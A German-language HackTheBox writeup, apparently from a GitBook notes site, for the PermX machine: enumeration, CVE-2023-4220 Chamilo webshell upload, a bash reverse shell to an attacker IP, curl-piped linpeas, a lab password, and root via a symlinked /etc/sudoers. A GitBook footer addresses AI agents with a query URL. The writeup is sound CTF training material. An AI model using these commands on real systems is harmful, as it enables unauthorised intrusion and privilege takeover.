> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md).

# PermX HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine PermX mit Abdeckung von Subdomain-Enumeration, Chamilo-Ausnutzung, LINpeas-Enumeration-System, Sudoers-Eskalation von Privilegien (Berechtigungen der /etc/sudoers-Datei geändert), mit

{% embed url="<https://app.hackthebox.com/machines/PermX>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Subdomain-Enumeration
* Chamilo-Ausnutzung
* LINpeas-Enumeration-System
* Sudoers-Privilegieneskalation (Berechtigungen der Datei /etc/sudoers geändert)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9116ff5ceccf59a6990aa16472a1c9298e08a58d%2Fimage%20(2244).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c186584f826cb6da54a28269d603783c89f0f90d%2Fimage%20(1449).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580844847de1db4faca2f6e1b617c673e3fe508f%2Fimage%20(1450).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b809e1e5fff4ed26068442c622f905b3368f2b86%2Fimage%20(1451).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,22 10.10.11.23 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248303ca2fe00893da659f2c0ab52bdd71a48f16%2Fimage%20(1452).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Um Domänennamen per DNS in IP-Adressen aufzulösen, fügen Sie den Domänennamen, der mit seiner IP-Adresse verknüpft ist, in das `/etc/hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d482d0c6ebbc78d9f3e102b52d2e3979051c894%2Fimage%20(1453).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01555e06201b8761517a47910838933b0262f404%2Fimage%20(1454).png?alt=media" alt=""><figcaption></figcaption></figure>

**Suche nach möglichen Verzeichnissen mit Gobuster:**

Verwendung von Gobuster zum Scannen möglicher Verzeichnisse auf der Website mit der Medium-Verzeichnislisten-Datei.

```bash
gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88e9c74b787fe3c9d894e22c69321b0f66859dc7%2Fimage%20(1455).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verzeichnissuche mit Gobuster:**

Verwenden Sie **Gobuster** mit einem Wörterbuch, um versteckte Zugriffsdateien zu finden.

```bash
gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b2b767ed325c3d58082754306df636ebc48f6c1%2Fimage%20(1456).png?alt=media" alt=""><figcaption></figcaption></figure>

### Subdomain-Enumeration

Um die Subdomains einer Website mit dem Wfuzz-Tool über die Konsole zu enumerieren, können Sie den folgenden Befehl verwenden:

{% code fullWidth="true" %}

```bash
wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a52fc872b0bbabb4e7602dae9f5e4127b022eb37%2Fimage%20(1457).png?alt=media" alt=""><figcaption></figcaption></figure>

Stellen Sie sicher, dass Sie die `/etc/hosts` Datei aktualisieren, um die entdeckten Subdomains einzuschließen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ffb2192301e5987b9303184b117ee1f1ccd700f%2Fimage%20(1458).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

{% embed url="<http://lms.permx.htb/>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b7f548a321dbda01b9f28e418224cbbe7f4152%2Fimage%20(1459).png?alt=media" alt=""><figcaption></figcaption></figure>

## Schwachstelle in Chamilo CMS:

Chamilo weist eine Schwachstelle auf, identifiziert als CVE-2023-4220, die Remote Code Execution (RCE) ermöglicht. Um diese Schwachstelle auszunutzen, können Sie das folgende auf GitHub verfügbare Skript verwenden:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Klonen Sie das GitHub-Repository:

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Führe eine Prüfung durch, um festzustellen, ob die Schwachstelle auf dem Ziel vorhanden ist:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12d00ea8c89b28523f856990fe1da0254f04bd22%2Fimage%20(1460).png?alt=media" alt=""><figcaption></figcaption></figure>

### Webshell:

Wenn die Schwachstelle vorhanden ist, injizieren Sie eine **PHP-Webshell** in Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be650e6b0eec3c16b3f33ce724864c3dbb6b60ff%2Fimage%20(1462).png?alt=media" alt=""><figcaption></figcaption></figure>

Sobald die Webshell eingeschleust wurde, kannst du Befehle auf dem Zielsystem ausführen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f99eb2072daeb2c35745883571ac683b37d059d%2Fimage%20(1447).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell:

Um eine Reverse-Shell-Verbindung herzustellen und Zugriff auf die Maschine zu erhalten, führe den folgenden Befehl in deinem Terminal aus:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Dann auf Port 4444 lauschen:

```bash
nc -nlvp 4444
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-433ddb7152c53179ab8df9f397c37a0949801e82%2Fimage%20(1448).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

**Systemaufzählung (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Wir verwenden Linpeas zur Privilegienerkennung:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b49cb62564bda85fb74cd3c1ff35174f63793da%2Fimage%20(1446).png?alt=media" alt=""><figcaption></figcaption></figure>

**Entdeckung eines neuen Benutzers:**

Während der Enumeration identifizierten wir einen neuen Benutzer namens `mtz`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-afe5d7824312a435329423405de405522d7a43df%2Fimage%20(1442).png?alt=media" alt=""><figcaption></figcaption></figure>

**Passwort ermitteln:**

Das folgende Passwort wurde gefunden:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07ba4652273d6628f0cbe3b8dd02105034bce5f3%2Fimage%20(1443).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
mtz:03F6lY3uXAP2bkW8
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e99d4d5e8e167be05233d728a3172bb907cef063%2Fimage%20(1444).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Flagge user.txt:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db3138b4eeba750b1f292d2d493b58657ec0fec5%2Fimage%20(1445).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudoers:

Durch Ausführen des `sudo -l` Befehls stellen wir fest, dass wir die Möglichkeit haben, ein Skript als **root**.

```bash
sudo -l
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55fc7ae55c9f11787a9dcb6e0680d6c84f943a5f%2Fimage%20(2252).png?alt=media" alt=""><figcaption></figcaption></figure>

Dieses Bash-Skript ändert die Zugriffsberechtigungen eines Benutzers für eine bestimmte Datei mithilfe von ACLs, nachdem die Gültigkeit des Pfads überprüft wurde und dass es sich beim Ziel tatsächlich um eine Datei handelt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1e1b4c18b27ccbc6c6efed03a2d4facdd1b09b4%2Fimage%20(2246).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2503588b591f2a8c4fdd460a03925fbe83b0c8cd%2Fimage%20(2247).png?alt=media" alt=""><figcaption></figcaption></figure>

Gewähren wir dem Benutzer mtz schließlich Lese- und Schreibrechte für die Datei

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

Es tritt ein Fehler auf, weil sich die Datei in unserem `/home/mtz` Verzeichnis zu priorisieren

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7bfe967baef947eb41ab6e7340dd9817675e0ea%2Fimage%20(2248).png?alt=media" alt="" width="535"><figcaption></figcaption></figure>

Eine mögliche Umgehungslösung könnte darin bestehen, einen symbolischen Link von einer Systemdatei zu dem `/home/mtz/` Verzeichnis zu erstellen und das Skript auf diesem Link auszuführen.

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef620717e99ccb95684bd59a892fe12054ef5e4d%2Fimage%20(2249).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir müssen die Datei "sudoers/\_link" bearbeiten, wodurch die sudoers-Datei aktualisiert wird, um dem Benutzer mtz vollständige Rechte zu geben.

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bbf950f3b9ec42511dcab9f0ee49f26243476c0%2Fimage%20(2250).png?alt=media" alt=""><figcaption></figcaption></figure>

### Root-Flag : ) <a href="#flag-root" id="flag-root"></a>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e3d6432a03fed70e8e4b62afeccae1e74fd30b56%2Fimage%20(2251).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0fd7a39fc8a12fb0188f8f0ae8cb40a3ed3022c%2Fimage%20(1417).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
